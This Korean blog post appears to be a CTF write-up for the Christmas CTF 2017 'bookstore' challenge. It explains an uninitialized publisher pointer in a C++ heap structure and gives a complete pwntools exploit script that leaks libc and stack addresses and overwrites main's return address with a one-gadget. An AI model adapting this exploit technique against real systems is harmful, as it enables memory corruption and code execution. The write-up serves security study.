-
Christmas CTF 2017 bookstorePwnable/CTF 2017. 12. 30. 22:21
여태까지 C++ 경험이 적어서 문제를 잡았을때 너무 어려웠던문제였다 ..
123456789101112131415161718publisher {string namestring description}book {string namestring descriptionint pricepublisher* Publisher}cs 구조체는 위와같다.
여기서는 string 객체를 이용하였을때 힙으로 할당을하고 book 구조체를 operator new를 할때 publisher 포인터부분을 초기화를 하지 않아서
취약점이 생기는문제였다.
string 객체는 16byte 정도입력하면 0x31로 할당을하고 16byte를 또 더하면 31byte힙을 free시키고 0x41로 할당을하고 또 사이즈가 모자르다고 생각되면 다시 free를하고 +0x10사이즈로 다시 할당을하게된다.
book 구조체는 0x61 사이즈로 위 방법을 이용하여서 마지막 publisher부분에 원하는 주소를 넣고 그쪽으로 uaf를 한다면 publisher과 관련된 view, sell을 이용하여서 메모리 릭, 공격이 가능하다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from pwn import *p=process("./bookstore")elf = ELF("./bookstore")def add(name,des,price,what):p.recvuntil('Exit')p.sendline("1")p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(des)p.recvuntil(': ')p.sendline(str(price))sleep(0.5)p.sendline(what)def create(name,des):p.recvuntil('Exit')p.sendline("2")print p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(des)def sell(name,num):p.recvuntil('Exit')p.sendline("5")p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(num))def leak(name,addr,num):create(name,"B"*72+addr)add(name,name,1,"")sleep(0.5)sell(name,num)publisher = 0x606380book = 0x6063a0create("1","1")leak("A",p64(0x6063c0),str(0x606240))leak("B",p64(0x6063c8),str(0x8))create("C","B"*72+p64(0x6063c0-0x8)) #0x6063c0 + 0x8 -> 0x606240(name), 0x6063c0+0x10 -> 0x8 (leak length)add("C","C",1,"")print p.recvuntil('Exit')p.sendline("3")for i in range(3):print p.recvuntil('er : ')libc_base = u64(p.recv(8)) - 0x3c48e0 #stdin leak -> libc_baseenviron = libc_base + 0x3c6f38print hex(libc_base)print hex(environ)one_shot = libc_base + 0xf1117leak("D",p64(0x6063e0),str((environ&0xffffffff)))leak("E",p64(0x6063e4),str((environ>>32)));leak("F",p64(0x6063e8),str(0x8))create("G","B"*72+p64(0x6063e0-0x8))add("H","H",1,"")print p.recvuntil('Exit')p.sendline("3")p.recvuntil('Description : H')p.recvuntil(': ')stack = u64(p.recv(8))print hex(stack)main_ret = stack - 0xf0print hex(main_ret)print hex(one_shot)leak("I",p64(main_ret),str(0xd08e7)) #one_shot - __libc_start_main+240 = 0xd08e7cs >> 쉬프트 연산을 이용하면 >>8,>>16 8byte단위로 뒤에 1byte씩 자른값이 만들어진다.
& AND 연산을 이용하면\xff단위로 뒤에 \xff단위만큼 남긴다 ex) 0x618c10 & 0xffff -> 0x8c10
'Pwnable > CTF' 카테고리의 다른 글
SECCON 2017 video_player (0) 2018.01.11 SECCON 2017 secure Keymanager, Election (0) 2018.01.10 Christmas CTF 2017 infinite cat (0) 2017.12.30 HITCON 2016 house_of_orange (2) 2017.12.11 BCTF 2017 Babyuse (1) 2017.12.01